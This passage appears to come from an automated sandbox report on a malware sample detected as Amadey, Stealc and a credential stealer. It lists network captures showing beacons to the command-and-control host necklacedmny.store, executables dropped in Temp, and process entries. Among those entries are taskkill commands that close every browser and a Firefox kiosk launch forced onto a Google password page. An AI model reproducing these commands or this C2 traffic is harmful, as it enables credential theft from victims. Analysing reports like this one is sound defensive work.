2024-10-30 20:57:01 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eofpe5dct4uoedf8si3e184bje; expires=Sun, 23-Feb-2025 14:43:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHdMb6bAOZNdDGZy9fRgbz%2BC%2B0NBVXoqPX8kE3s3GzBP87o%2BAziILqPXfWyy3ne%2FpwkxSZRdN0fkTcqXRWZck8Z7QZUGAkmLxYmkfQhibYhzAbn6ZokcITuxIArtBqZ2LqQBJwE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae50ab8e0e464a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&sent=211&recv=593&lost=0&retrans=0&sent_bytes=2845&recv_bytes=555286&delivery_rate=1778869&cwnd=252&unsent_bytes=0&cid=a93d72150b502a9e&ts=1891&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50302	188.114.96.3	443	6552	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:57:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 20:57:02 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AF8FB255995CFA55A49D3AFC541E0FFF
2024-10-30 20:57:02 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k7o9roam09oi911hdua6f25f56; expires=Sun, 23-Feb-2025 14:43:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HJ4oFWJj42MAGMX65NHrn318j6uJkzvm6ll054%2FGY9rRfw6arZc9Pp1%2BPYU%2FdPsa0JjCBjfYduYGr8TVhTzDCcKVawKmI%2BJM95wpkv%2BC7k4QF75CoMK6AQaRvaa4VhZJfRCIPzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae50bc8f61474a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1108&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2565101&cwnd=251&unsent_bytes=0&cid=19168a79b75bda8d&ts=530&x=0"
2024-10-30 20:57:02 UTC	214	IN	Data Raw: 64 30 0d 0a 6f 62 41 77 5a 59 4f 48 6c 74 7a 76 42 78 47 72 4a 61 64 31 6d 71 74 41 64 4f 6d 37 69 4b 49 39 41 77 69 75 38 73 6c 39 6f 34 58 36 79 78 49 51 6f 62 32 30 74 4a 74 7a 59 5a 46 35 69 43 6d 31 6d 6e 68 42 78 34 6d 35 6c 78 4d 79 4f 5a 33 63 2b 45 76 2f 71 73 37 57 56 6a 6d 73 34 2f 4f 36 77 57 4a 70 7a 67 65 4c 56 2f 7a 66 59 6b 37 5a 6c 36 72 48 48 7a 6b 34 30 39 36 79 58 39 61 6e 6d 35 4a 59 45 66 66 33 72 49 44 41 57 7a 36 61 48 5a 4a 62 71 4a 70 31 57 74 69 4b 75 34 77 4d 4e 56 53 42 6e 36 41 54 78 74 6d 4f 77 6c 45 4c 35 2b 6a 37 38 6f 70 2f 64 49 6b 4a 68 52 50 75 69 58 70 45 78 5a 6e 74 67 41 63 7a 64 66 4d 3d 0d 0a Data Ascii: d0obAwZYOHltzvBxGrJad1mqtAdOm7iKI9Awiu8sl9o4X6yxIQob20tJtzYZF5iCm1mnhBx4m5lxMyOZ3c+Ev/qs7WVjms4/O6wWJpzgeLV/zfYk7Zl6rHHzk4096yX9anm5JYEff3rIDAWz6aHZJbqJp1WtiKu4wMNVSBn6ATxtmOwlEL5+j78op/dIkJhRPuiXpExZntgAczdfM=
2024-10-30 20:57:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:55:04
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	2'985'984 bytes
MD5 hash:	C12612C3792DEE7B90E2D01CA6E32D2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2113351077.0000000006126000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:55:25
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe"
Imagebase:	0xc90000
File size:	2'837'504 bytes
MD5 hash:	566B3738EDFEF78962A1B77D7FA5A241
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:55:27
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe"
Imagebase:	0x4d0000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2359666990.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2319457250.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:55:30
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xdd0000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2352124084.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2396576521.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:55:31
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2398844659.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2358426536.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:56:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2638387077.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:56:14
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Imagebase:	0x960000
File size:	2'985'984 bytes
MD5 hash:	C12612C3792DEE7B90E2D01CA6E32D2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2833491682.000000000133A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:56:23
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"
Imagebase:	0x7ff6068e0000
File size:	2'146'304 bytes
MD5 hash:	E7E67024404F23389E4052996E08923A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2870739086.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2911715801.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:56:26
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Imagebase:	0x960000
File size:	2'985'984 bytes
MD5 hash:	C12612C3792DEE7B90E2D01CA6E32D2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2976096899.0000000001196000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2975895434.0000000001196000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2938184062.0000000001195000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2959630451.0000000001195000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.3004771907.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:56:31
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"
Imagebase:	0xc90000
File size:	919'552 bytes
MD5 hash:	A5C626CB978C8D7070F00E5EEEAC13F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:56:31
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:56:31
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Imagebase:	0x960000
File size:	2'985'984 bytes
MD5 hash:	C12612C3792DEE7B90E2D01CA6E32D2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.3173096686.0000000001663000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:56:34
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:56:35
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2100 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6837355c-621c-4577-8fde-3e4378469245} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 2592396dd10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:56:39
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002711001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002711001\num.exe"
Imagebase:	0x190000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000000.3018415386.0000000000191000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3033467651.0000000000191000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3033601352.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000000.3018510412.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:56:40
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4176 -parentBuildID 20230927232528 -prefsHandle 4300 -prefMapHandle 4296 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89000b5d-e12c-48b9-8974-2194eb69f6f5} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 25935f3c310 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:56:43
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"
Imagebase:	0x5c0000
File size:	2'146'304 bytes
MD5 hash:	E7E67024404F23389E4052996E08923A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3079747725.0000000005000000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3169928437.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:56:44
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe"
Imagebase:	0xb50000
File size:	2'837'504 bytes
MD5 hash:	566B3738EDFEF78962A1B77D7FA5A241
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:56:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe"
Imagebase:	0x620000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.3151390685.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:56:51
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"
Imagebase:	0xc90000
File size:	919'552 bytes
MD5 hash:	A5C626CB978C8D7070F00E5EEEAC13F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:56:52
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:56:52
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:56:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:56:57
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:56:57
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe"
Imagebase:	0xd10000
File size:	2'837'504 bytes
MD5 hash:	566B3738EDFEF78962A1B77D7FA5A241
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
